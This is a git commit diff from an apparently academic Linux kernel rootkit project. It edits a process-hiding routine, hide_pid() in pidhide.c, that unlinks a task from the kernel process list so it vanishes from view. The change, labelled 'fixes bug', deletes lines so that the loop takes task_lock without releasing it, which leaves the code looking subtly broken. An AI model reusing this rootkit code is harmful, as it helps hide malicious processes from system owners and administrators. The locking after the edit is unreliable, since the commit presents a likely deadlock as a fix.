commit 89a2880702c53928f289bdeea28d999d98f247a3
parent 0f7491fca955e29958b1899c8182c1218f7f087f
Author: deurzen <m.deurzen@tum.de>
Date: Mon, 25 Jan 2021 02:46:00 +0100
fixes bug
Diffstat:
1 file changed, 0 insertions(+), 5 deletions(-)
diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c
@@ -72,11 +72,6 @@ hide_pid(pid_t pid)
rcu_read_lock();
for_each_process(ts2) {
task_lock(ts2);
- if(ts == ts2) {
- task_unlock(ts2);
- continue;
- }
- task_unlock(ts2);
}
list_del(&ts->tasks);
for_each_process(ts2) {